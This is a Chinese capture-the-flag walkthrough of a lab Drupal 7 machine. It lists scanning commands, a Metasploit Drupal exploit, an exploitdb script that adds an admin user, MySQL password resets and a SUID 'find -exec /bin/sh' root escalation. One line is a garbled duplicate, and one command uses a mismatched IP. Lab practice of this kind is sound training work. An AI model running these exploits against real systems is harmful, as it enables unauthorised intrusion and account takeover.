目录
一. 环境
靶机:192.168.1.184
攻击机kali:192.168.1.98
(l网络配置都是NAT模式)
----开始---渗透
二. 信息收集
1. 主机发现
1. nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机
2. nmap -sn 192.168.1.0/24 或者 nmap -sP 192.168.1.0/24  #主机发现/主机探测 
3. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务,端口
  -A 全面系统检测、启用脚本检测、扫描等
  -sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限 
发现了靶机IP 192.168.1.184 及 80端口开放


2.访问 192.168.1.184:80
发现网站是Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本

三. 利用msfconsole 攻击(拿到flag1)
1. 漏洞利用成功

1. search drupal  #查找drupal的漏洞
2. use 2     #利用第2个龙洞
3. show options   #显示详情
4. set rhosts 192.168.1.184 # 设置靶机地址
5. run 或 exploit  # 开始攻击
  攻击成功后
6. pwd   # 查看当前路径 
2. 进入会话 ,拿到flag1.txt ---shell

四. 找到配置文件,获取flag2
根据提示:Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件——你也一样。

五. 修改管理员密码,登录网站,拿到flag3
1. 获取交互式shell, 执行MySQL语句
flag2提示:最好不要用暴力破解、数据库账号密码
操作发现账号密码无法直接登录mysql,利用netstat -ano #查看端口情况 ,查看到3306端口只允许本地访问,而3306是mysql的默认端口,由此判断我们要获取一个交互式shell,目的是为了进入数据库,执行mysql语句

netstat -ano    #查看端口情况 
python -c 'import pty;pty.spawn("/bin/bash")'   #获取交互式shell,使其可执行MySQL语句
mysql -udbuser -pR0ck3t    #登录MySQL 
2. 查看管理员用户
show databases;  #显示所有数据库
use drupaldb;    #选择当前数据库为dr库
show tables;     #显示所以数据表
select * from users;   #显示users表中所有内容,查找管理员账户 

3. 修改管理员密码
方法1: 增加一个管理员
查看Drupal版本,确定Drupal版本为7.24;在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号
cat /var/www/includes/bootstrap.inc | grep VERSION  #查看版本信息
searchsploit drupal #查看该版本drupal
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2  -p  admin2   #增加管理员用户 
方法2: 用drupal的加密脚本加密,脚本在根目录下的scripts
重新进入交互式shell,然后两段cd回到根目录,然后获得hash码
1. python -c 'import pty; pty.spawn("/bin/bash")'  #重新取得交互式shell
2. php scripts/password-hash.sh admin1   #后面你设置的密码
  
重新进入数据库改密码
3. mysql -udbuser -pR0ck3t  #重新进入MYSQL
4. use drupaldb;  进入数据库
5. update drupaldb.users set pass="$S$DaBKN3LqPTjspZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin";
6. <spZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin"; 
注意: pass后面跟你的加密密码明文,第二段为$后第十二个字开始输
 
 登录账号 admin 密码 admin1,找到flag3

六. 用find语句,找到flag4
find / | grep "flag*" 

 
七. SUID提权,获取最后的flag
falg4提示:Can you use this same method to find or access the flag in root?
1. find shell  -exec "/bin/sh" \;   #提权 (当前目录有shell文件)
    或者  find / -name shell -exec "/bin/sh" \; 
          name指定shell文件也可以touch自己创一个,/bin/sh调用shell
2. whoami #查看权限
3. cd /root #进入root
4. ls #列出文件
5. cat thefinalflag.txt #查看 











